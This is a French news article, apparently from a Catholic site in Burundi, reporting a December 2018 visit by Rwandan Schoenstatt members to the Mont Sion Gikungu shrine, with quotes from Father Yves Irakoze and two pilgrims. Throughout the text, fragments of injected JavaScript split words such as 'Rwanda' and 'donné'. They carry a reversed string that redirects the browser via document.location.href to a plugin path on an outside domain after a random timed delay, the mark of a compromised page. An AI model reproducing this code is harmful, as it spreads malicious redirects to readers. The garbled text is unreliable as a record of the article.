les schoenstattiens Rwtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andais

La branche masculine du Mouvement Apostolique de Schoenstatt vient d’accueillir, ce lundi 17 décembre, les invités d’honneur venant du Rwtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda dans les diocèses de CYANGUGU et BUTARE. C’était au Centre Joseph Engling de Mont Sion Gikungu.

Mardi le 18 décembre, il est 10h. Une dizaine de gens dans la paillotte derrière le Sanctuaire forment un groupe. Ils sont en train de suivre l’instruction du Père Yves IRAKOZE, Aumônier du Mouvement apostolique de Schoenstatt  au Burundi et  au Rwtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda.

Très attentifs, très calmes, ils écoutent silencieusement et notent aussi quelques chose dans leurs carnets.

De quoi s’agit-il ?                            

le père Yves IRAKOZE enseigne

Entendre ou voir quelque chose dans les histoires ou sur les photos toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnent moins d’idées et de joie qu’arriver sur les lieux et voir la chose de ses propres yeux. Père Yves IRAKOZE toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne plus de détail sur cette rencontre: « Je suis avec ces Schoenestattiens qui sont venus de différentes paroisses et diocèses du Rwtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda. Là, il n’y a pas de Sanctuaire! Nous avons jugé bon d’inviter quelques-uns pour venir contempler eux-mêmes, de leurs propres yeux, Jésus et sa mère présents dans le Sanctuaire. Qu’ils constatent le mouvement des pèlerins qui viennent de tous les coins vers le temple de Dieu. »

L’enseignement qui a été dispensé était basé sur la vie d’un chrétien avec la Sainte Vierge Marie. Etant toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné que le Mouvement Schoenstatt n’a pas encore connu son ampleur au Rwtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anda, le Père Yves a dit qu’ils ont voulu instruire profondément ces gens pour qu’ils soient de vrais ambassadeurs de retour. « Nous voulons qu’ils connaissent  fortement ce que c’est le mouvement Schoenstatt, son charisme et son fondateur afin que cela puisse les éclairer dans leur chemin vers la sainteté »

Comment se sont-ils sentis au Sanctuaire ?

Philbert HABONINGOMA

La joie du cœur se manifeste sur leur visage. Emile NIYONSABA de la paroisse Mwezi et Philbert HABONINGOMA de la paroisse Giza nous parlent : « C’est la première fois que je suis au Burundi et je suis vraiment heureux d’être au Sanctuaire » a dit Emile. Quant à Philbert, il se réjouit : « Je ne voyais le Sanctuaire que sur les photos, parce que chez nous il n’y en a pas. Maintenant je suis joyeux d’être au Sanctuaire de notre Mère.»

Ce jeune homme se dit satisfait de voir le mouvement des pèlerins qui se précipitent vers le Sanctuaire. « J’ai remarqué que les Burundais comme les Rwtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andais aiment la Mère Trois fois Admirable et cela m’enchante.»

Emile et Philibert sont tous  fiers d’être des témoins oculaires de ce qu’ils ont vu à Mont Sion Gikungu : « Nous sommes des ambassadeurs et nous devons témoigner l’amour de Dieu dans le Sanctuaire Marial de Schoenstatt à Mont Sion Gikungu.»

Père Yves nous a signalé que ces pèlerins vont retourner chez eux le mercredi 19 décembre 2018 après un pèlerinage au Sanctuaire Marial de Mutumba.

Brigitte IRAKOZE

 

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